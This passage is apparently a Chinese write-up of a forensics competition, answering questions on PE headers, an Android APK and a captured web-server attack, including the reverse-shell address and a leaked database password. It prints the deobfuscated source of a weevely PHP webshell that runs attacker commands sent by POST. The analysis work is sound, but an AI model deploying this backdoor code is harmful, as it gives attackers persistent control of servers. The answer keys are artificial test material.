│ - NumberOfSections │
│ - Characteristics │
├───────────────────────┤
│ IMAGE_OPTIONAL_HEADER │
│ - Magic │
│ - AddressOfEntryPoint │
│ - ImageBase │
│ - DataDirectory[16] │
└───────────────────────┘

_IMAGE_NT_HEADERS头的位置由 DOS 头中的 e_lfanew 字段决定,该字段位于 DOS 头(MZ 头)的 偏移 0x3C 处

image-20250804193558205

image-20250804214107679

  • 74DA57DA + 3C = 74DA5816

  • 观察地址 74DA5810行:

    1
    74DA5810: 00 00 00 00 00 F8 00 00 00 00 58 F3 76 2D 57 FE
  • 偏移 0x16处数据:F8 00 00 00(小端序 = 0x000000F8

1
2
PE头地址 = DOS头地址 + e_lfanew = 74DA57DA + F8 = 74DA58D2
74DA58D0: C2 4E 4F 00 B0 4C 01 04 00 00 00 00 00 00 00

所以修改后的PE标签为0x4E 0x4F

*7.对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且节区数据被加密,请分析给出解密第一个节区时使用的秘钥(答案格式:0x1B 0x22 0x33 0x4A) (4分)

8.对exe程序检材进行分析,这份字节码数据解密前的密文第一个字节是什么(例如:0x1B) (4分)

0x5A

经过分析我们知道,这个是解密获得shellcode的代码,则传入的第一个参数unk_10083218就是解密之前的内容,

image-20250804220131138

那么0x5A就是密文第一个字节

image-20250804215943112

9.分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

CEAEBF87

image-20250805113855453

10.分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)

com.changbo.pro

image-20250805120838967

11.接上题,请给出app的加固方式;(答案格式:梆梆) (2分)

根据360加固的文件特征可知(assets目录下有libjiagu.so文件)

image-20250806135451913

也可在gda中得知

image-20250806164901941

12.接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)

com.changbo.pro.ui.splash.SplashActivity

GDA打开查看baseinfo

image-20250806170311832

网络流量分析

1.分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)

3504

在统计->捕获文件属性(快捷键:ctrl+alt+shift+c)中可得

image-20250806214815705

image-20250806215000557

2.分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32)

23F79

详见上上图os

3.分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1)

192.168.75.131

打开流量包,大部分是192.168.75.131作为http网站的对其进行攻击的流量则可知受害者ip

4.分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu)

ubuntu

找一下流量,可以发现是ubuntu

image-20250806221040040

5.分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)

nmap

流量中User-Agent暴露了试用的工具

image-20250806221336631

6.分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)

3.1.0

随便找一个后边的流量,看看,发现是Wfuzz,版本号3.1.0

image-20250806221643008

7.分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)

/dbadmin/test_db.php

通过对php,admin等关键字的搜索,并对请求方式选择POST进行过滤可得

image-20250807102335761

8.分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)

admin

过滤登录流量。发现倒数第一个是修改数据库名称,遂倒数第二个登录时成功了

image-20250807102642292

9.分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)

demo.php

通过搜索,发现该条流量创建了table,table-fileds是phpinfo,

image-20250807104945844

那我们去寻找该表所在数据库的名字即可,在上一条流量中我们找到了database的名称demo.php

image-20250807105307307

10.分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt)

rev.txt

攻击机IP为192.168.75.131,服务器为192.168.75.132,则过滤ip.src为131的流量

image-20250807113103818

追踪流量可进一步确定,为payload

image-20250807113130433

11.分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)

192.168.75.132:30127

由上图可得,IP为192.168.75.132。端口为30127

image-20250807113512890

12.分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1)

3.11.8

由图server字段可知为3.11.8

image-20250807113435477

13.分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)

找到反弹shell后的流量,追踪反弹后的tcp流量

image-20250807122140541

image-20250807122156457

可知框架为wordpress

14.分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写)

sWfCsfJSPV9H3AmQzw8

image-20250807130802233

15.分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)

2000

image-20250807130942937

16.分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)

57638

help.php的内容被混淆了,去尝试去混淆

image-20250807131155339

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kf = "85a89e92c410";
$p = "dzINRguo2g6mkn7y";

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}
?>

在之后的一个流量中我们发现

image-20250807132658569

观察返回的内容,发现和上述代码输出内容类似,反向解密G6pSUAZWgTBjNUtkPw==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kf = "85a89e92c410";
$p = "dzINRguo2g6mkn7y";

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}

//$r = @base64_encode(@x(@gzcompress($o), $k));
$m = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($m),$k)));
?>

image-20250807134153060